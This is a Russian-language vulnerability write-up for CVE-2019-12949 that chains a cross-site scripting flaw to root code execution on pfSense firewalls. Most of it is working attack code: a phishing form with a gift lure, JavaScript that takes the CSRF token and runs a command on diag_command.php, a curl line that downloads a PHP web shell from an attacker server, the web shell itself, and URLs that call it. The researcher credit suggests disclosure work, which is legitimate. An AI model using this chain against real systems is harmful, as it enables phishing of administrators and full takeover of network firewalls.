[CVE-2019-12949] От уязвимости межсайтового скриптинга к удалённому выполнению кода в pfSense 2.4.4-p2 и 2.4.4-p3

Описание:

В pfSense 2.4.4-p2 и 2.4.4-p3, если удастся обманом заставить аутентифицированного администратора нажать на кнопку на фишинговой странице, злоумышленник может загрузить произвольный исполняемый код на сервер через ding_command.php и rrd_fetch_json.php. Затем удалённый злоумышленник может выполнить любую команду с правами root на этом сервере.

Исследователь: Enter из The Tarantula Team, VinCSS (член Vingroup)

PoC XSS

Вектор атаки: https://pfSense_IP_Address/rrd_fetch_json.php

Отправьте POST-запрос:

<form action="https://[PFsense-domain]/rrd_fetch_json.php" method="post">
	<input type="hidden" name="left" value="system-processor"><br>
	<input type="hidden" name="right" value="null"><br>
	<input type="hidden" name="start" value=""><br>
	<input type="hidden" name="end" value=""><br>
	<input type="hidden" name="resolution" value="300"><br>
	<input type="hidden" name="timePeriod" value="i3i3j<script>alert(1)</script>tz9b1"><br>
	<input type="hidden" name="graphtype" value="line"><br>
	<input type="hidden" name="invert" value="true"><br>
	<input type="hidden" name="refreshInterval" value="0">
  <h1>Congratulations on receiving the reward from us</h1>
  <h1>Click to receive gifts</h1>
  <input type="submit" value="Submit">
</form>

От XSS к RCE

Злоумышленник может создать фишинговый сайт, подобный этому, чтобы использовать уязвимость XSS на pfsense:

<form action="https://[PFsense-domain]/rrd_fetch_json.php" method="post">
	<input type="hidden" name="left" value="system-processor"><br>
	<input type="hidden" name="right" value="null"><br>
	<input type="hidden" name="start" value=""><br>
	<input type="hidden" name="end" value=""><br>
	<input type="hidden" name="resolution" value="300"><br>
	<input type="hidden" name="timePeriod" value="i3i3j<script src='https://[Attacker-Server]/payload.js'></script>tz9b1"><br>
	<input type="hidden" name="graphtype" value="line"><br>
	<input type="hidden" name="invert" value="true"><br>
	<input type="hidden" name="refreshInterval" value="0">
  <h1>Congratulations on receiving the reward from us</h1>
  <h1>Click to receive gifts</h1>
  <input type="submit" value="Submit">
</form>

Файл payload.js на сервере злоумышленника будет содержать следующий код JavaScript (полезная нагрузка):

<script>
	var xhr = new XMLHttpRequest();
	xhr.open("GET", "https://[PFsense domain]/diag_command.php", false);
	xhr.withCredentials=true;
	xhr.send(null);
	var resp = xhr.responseText;
	console.log(resp);
	var start_idx = resp.indexOf('name=\'__csrf_magic\' value="');
	var end_idx = resp.indexOf('" />', start_idx);
	var token = resp.slice(start_idx + 27, end_idx);
	console.log(token);
// now execute the CSRF attack using XHR along with the extracted token
	var xhr1 = new XMLHttpRequest();
	xhr1.open("POST", "https://[PFsense-domain]/diag_command.php", false);
	xhr1.withCredentials=true;
	var params = "__csrf_magic="+token+"&txtCommand=curl https://[Attacker-Server]/shell.txt > a.php&submit=EXEC";
	xhr1.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
	xhr1.setRequestHeader("Content-length", params.length);
	xhr1.send(params);
</script>

Файл shell.txt на сервере злоумышленника будет содержать содержимое PHP-веб-шелла, например такое:

<?php
	system($_REQUEST['cmd']); // allow remote attacker to run commands on victim server
	phpinfo(); // show phpinfo
?>

Наконец, злоумышленник обманом заставит аутентифицированных администраторов pfsense (жертву) зайти на фишинговый сайт и нажать кнопку 'Submit' на фишинговом сайте. Затем жертва будет перенаправлена на административный сайт pfsense, и веб-шелл злоумышленника автоматически будет успешно загружен на сервер pfsense.

Оттуда удалённый злоумышленник может выполнить произвольный код с правами root на сервере pfsense:

https://[PFsense-domain]/a.php?cmd=whoami
https://[PFsense-domain]/a.php?cmd=ls